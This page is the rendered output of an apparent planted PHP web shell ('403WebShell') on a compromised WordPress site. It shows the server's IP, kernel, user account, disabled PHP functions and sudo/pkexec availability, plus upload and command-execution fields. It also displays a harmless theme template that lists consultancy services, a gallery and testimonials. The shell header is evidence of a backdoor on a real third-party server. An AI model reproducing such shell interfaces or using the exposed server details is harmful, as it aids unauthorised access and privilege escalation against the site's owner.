Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/cosmicindrani.com/wp-content/themes/indrani/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/cosmicindrani.com/wp-content/themes/indrani/corporate-vastu-page.php
<?php
/*
Template Name: Corporate Vastu Page Template
*/
get_header();
?>
<?php
    while ( have_posts() ) :
    the_post();
?>
<?php require_once('template-parts/common-hero-section.php')?>
<?php require_once('template-parts/welcome-message.php')?>
<section class="astroConsultSec  mypy100">
	<div class="container maxwidth1150">
        <h2 style="text-align: left">Services Offered</h2>
		<?php
			$corporateService = get_posts(array(
				'post_type' => 'corporate-service',
				'post_status' => 'publish',
				'orderby' => 'date',
				'order' => 'ASC',
				'posts_per_page' => 300
			));

		if (!empty($corporateService)) : // Only display the slider section if there are posts
		?>
		<div class="row">
			<?php
				foreach ($corporateService as $corporateServiceListVal) {
                    $featuredImage = get_the_post_thumbnail_url($corporateServiceListVal->ID, 'full');
			?>
				<div class="col-lg-6 col-md-6">
					<div class="card">
						<div class="imgBox">
							<img src="<?php echo esc_url($featuredImage); ?>" class="card-img-top" alt="<?php echo get_the_title($corporateServiceListVal->ID); ?>">
						</div>
						<div class="card-body">
							<h5 class="card-title"><?php echo get_the_title($corporateServiceListVal->ID); ?></h5>
							<p class="card-text">
							<?php
								$content = get_the_content(null, false, $corporateServiceListVal->ID);
								$word_limit = 12; 
								$trimmed_content = wp_trim_words($content, $word_limit, '...');
								echo $trimmed_content;
							?>
							</p>
                            <a href="<?php echo esc_url(get_site_url()); ?>/contact-us" class="btn btnRed">Book Your Consultation</a>
						</div>
					</div>
				</div>
			<?php } ?>
		</div>
		<?php endif; ?>
	</div>
</section>

<?php
    $corporateGallery = get_posts(array(
        'post_type' => 'coporate-gallery',
        'post_status' => 'publish',
        'orderby' => 'date',
        'order' => 'ASC',
        'posts_per_page' => 300
    ));

    if (!empty($corporateGallery)) : // Only display the slider section if there are posts
?>
<div class="gallery_wrapper corporate mypy100">
    <div class="container maxwidth1150"> 
        <h2><i class="fa-solid fa-medal"></i> Photo Gallery</h2>
        <div class="row">
            <?php
                foreach ($corporateGallery as $corporateGalleryListVal) {
                    $featuredImage = get_the_post_thumbnail_url($corporateGalleryListVal->ID, 'full');
            ?>
            <div class="col-lg-3 col-md-4 col-sm-6 col-6">
                <a href="<?php echo esc_url($featuredImage); ?>" data-fancybox="gallery" data-caption="<?php echo get_the_title($corporateGalleryListVal->ID); ?>" class="gallery_item">
                    <img src="<?php echo esc_url($featuredImage); ?>" alt="<?php echo get_the_title($corporateGalleryListVal->ID); ?>">
                </a>
            </div>
            <?php } ?>	
        </div>
    </div>
</div>
<?php endif; ?>

<div class="testimonialsSec maxwidth1150 mypy100">
     <div class="container">
        <div class="commonTitle">
            <h2><?php echo get_field( 'what_my_clients_says_title', $post_id ); ?></h2>
            <img src="<?php echo get_field( 'what_my_clients_says_title_divider', $post_id ); ?>" alt="" class="divider">
            <p><?php echo get_field( 'what_my_clients_says_sub_title', $post_id ); ?></p>
        </div>
        <?php
			$corporateTestimonial = get_posts(array(
				'post_type' => 'corporate-testi',
				'post_status' => 'publish',
				'orderby' => 'date',
				'order' => 'ASC',
				'posts_per_page' => 300
			));

		if (!empty($corporateTestimonial)) : // Only display the slider section if there are posts
		?>
        <div class="row mt-5 pt-5">
            <div class="col-lg-5 col-md-6 teamsSec">
                <?php
                $i = 0;
				foreach ($corporateTestimonial as $corporateTestimonialListVal) {
					$featuredImage = get_the_post_thumbnail_url($corporateTestimonialListVal->ID, 'full');
				?>
                    <div class="team-member" data-name="<?php echo get_the_title($corporateTestimonialListVal->ID); ?>" data-title="<?php echo get_field("domain", $corporateTestimonialListVal->ID); ?>" data-text="<?php echo get_the_content(null, false, $corporateTestimonialListVal->ID); ?>">
                        <img src="<?php echo esc_url($featuredImage); ?>" alt="Member 1" class="rounded-circle img-thumbnail <?php echo $i === 0 ? 'active' : ''; ?>">
                    </div>
                <?php $i++; } ?>	
            </div>
            <div class="col-lg-7 col-md-6 teamContentSec">
                <div class="content p-4 text-white">
                <?php
                    $corporateTestimonial = get_posts(array(
                        'post_type' => 'corporate-testi',
                        'post_status' => 'publish',
                        'orderby' => 'date',
                        'order' => 'ASC',
                        'posts_per_page' => 1,
                    ));

                if (!empty($corporateTestimonial)) : // Only display the slider section if there are posts
                ?>
                   <?php
                    foreach ($corporateTestimonial as $corporateTestimonialListVal) {
                    ?>
                    <div>
                        <p class="mb-0" id="team-text">
                            <?php echo get_the_content(null, false, $corporateTestimonialListVal->ID); ?>
                        </p>
                        <h5 class="mt-3" id="team-name"><?php echo get_the_title($corporateTestimonialListVal->ID); ?> - <span id="team-title"><?php echo get_field("domain", $corporateTestimonialListVal->ID); ?></span></h5>
                    </div>
                    <?php } ?>	
                <?php endif; ?>
                </div>
            </div>
        </div>
        <?php endif; ?>
     </div>               
</div>




<?php endwhile; ?>     
<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit